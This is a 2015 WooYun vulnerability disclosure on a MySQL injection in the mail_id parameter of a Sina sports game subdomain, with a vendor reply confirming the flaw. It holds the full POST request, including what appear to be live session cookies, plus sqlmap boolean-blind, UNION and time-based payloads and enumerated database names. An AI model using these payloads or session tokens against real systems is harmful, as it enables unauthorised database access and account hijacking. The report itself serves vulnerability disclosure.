当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0150500

漏洞标题：新浪某分站一处Mysql注射

相关厂商：新浪

漏洞作者： 撸大叔

提交时间：2015-10-30 09:36

修复时间：2015-12-14 09:56

公开时间：2015-12-14 09:56

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-30： 细节已通知厂商并且等待厂商处理中
2015-10-30： 厂商已经确认，细节仅向厂商公开
2015-11-09： 细节向核心白帽子及相关领域专家公开
2015-11-19： 细节向普通白帽子公开
2015-11-29： 细节向实习白帽子公开
2015-12-14： 细节向公众公开

简要描述：

新浪某分站一处Mysql注射

详细说明：

POST /person/address.php HTTP/1.1
Host: game.sports.sina.com.cn
Proxy-Connection: keep-alive
Content-Length: 32
Accept: application/json, text/javascript, */*
Origin: http://game.sports.sina.com.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://game.sports.sina.com.cn/person/user_address.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: cookie=chaoti_18389877905632411e33c20; SINAGLOBAL=211.162.34.249_1445961562.523769; U_TRS1=000000fb.bc7f4f7e.5631e6bc.64fa92c5; UOR=www.baidu.com,match.sports.sina.com.cn,; vjuids=-e5758215.150b2ecfa64.0.17dd3eda; __utma=269849203.1047279998.1446111192.1446111192.1446111192.1; __utmz=269849203.1446111192.1.1.utmcsr=hi.house.sina.com.cn|utmccn=(referral)|utmcmd=referral|utmcct=/house/kuodayuhong/new_zhanshi.php; lxlrtst=1446115008_o; SGUID=1446121574300_65957238; rotatecount=2; ArtiFSize=14; hqEtagMode=1; SUS=SID-5480092640-1446133031-GZ-argjo-a287af6ec2df0dbf8cc33439c0565362; SUB=_2A257Nk13DeTxGeNK41IR-SzKzzyIHXVYQjm_rDV_PUNbvtBeLWvbkW8HSgSzlJSAVZfobQbgWl0p4JDUjw..; ALF=1477669031; U_TRS2=000000fb.f2f2a6a.56323f8b.f43b54ff; Apache=211.162.34.251_1446133720.847962; ULV=1446133715091:10:10:10:211.162.34.251_1446133720.847962:1446133680490; SUE=es%3D1000a8d9178b7bc18e8faccf762daede%26ev%3Dv1%26es2%3D0816158e908d1e4ddef820ba909919f6%26rs0%3DinS4BWW1Co0OKyBBpW6ZDSIO3BcsqS8egf%252FSuR01RP4CbuMOCSQZT0H1wMttPmYZTVQCoGysYPkKdU1V8S3vQb97UQX2zmEONrie%252FUrHLItiJWgwNLaDx1hmCtiP8oNfMrQPAkgwKMVKmRJ%252B%252F3v895l9wdwbwfWPlOrJQvZRoIU%253D%26rv%3D0; SUP=cv%3D1%26bt%3D1446133031%26et%3D1446220333%26d%3D40c3%26i%3D5362%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D7%26uid%3D5480092640%26user%3D%26ag%3D12%26name%3D%26nick%3DMRMRL_48205%26sex%3D%26ps%3D0%26email%3D%26dob%3D%26ln%3D%26os%3D%26fmp%3D%26lcp%3D; SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9WhWYPOlLrqch4epbo3L7L14; lxlrttp=1446115008; vjlast=1446133681.1446133738.10; dpha=usrmdinst_20; dpvar=usrmdinst_1; PHPSESSID=p3iiit86n9mpp2nv3772nve5s0; ULOGIN_IMG=gz-67657fdbba2119a2e4a20a758758982d9ce2; SSCSum=1; _sportusr_=%7B%22uid%22%3A%225480092640%22%2C%22username%22%3A%22MRMRL_48205%22%2C%22ssouname%22%3A%22%22%2C%22have_tblog%22%3A%221%22%2C%22style_flag%22%3A%220%22%7D
opration=query_mail&mail_id=3164


mail_id 存在注入 

Place: POST
Parameter: mail_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: opration=query_mail&mail_id=3164 AND 4930=4930
    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: opration=query_mail&mail_id=3164 LIMIT 1,1 UNION ALL SELECT NULL, C
ONCAT(0x3a7a65633a,0x666f7949794b676d586c,0x3a676d743a), NULL, NULL, NULL, NULL,
 NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: opration=query_mail&mail_id=3164 AND SLEEP(5)
---
[00:19:43] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[00:19:43] [INFO] fetching database names
[00:19:43] [INFO] the SQL query used returns 3 entries
[00:19:44] [INFO] retrieved: "information_schema"
[00:19:44] [INFO] retrieved: "ssgames"
[00:19:44] [INFO] retrieved: "test"
available databases [3]:
[*] information_schema
[*] ssgames
[*] test
[00:19:44] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[00:19:44] [INFO] fetched data logged to text files under 'E:\sql??\SqlMap?Pytho
n??\Bin\output\game.sports.sina.com.cn'


漏洞证明：

available databases [3]:
[*] information_schema
[*] ssgames
[*] test


[00:27:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[00:27:47] [INFO] fetching current user
current user:    'ssgames_r@10.73.%'

修复方案：

过滤

版权声明：转载请注明来源 撸大叔@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-10-30 09:55

厂商回复：

感谢提醒，不知为什么代码回退了，已经联系业务方检查

最新状态：

暂无

漏洞评价：

评论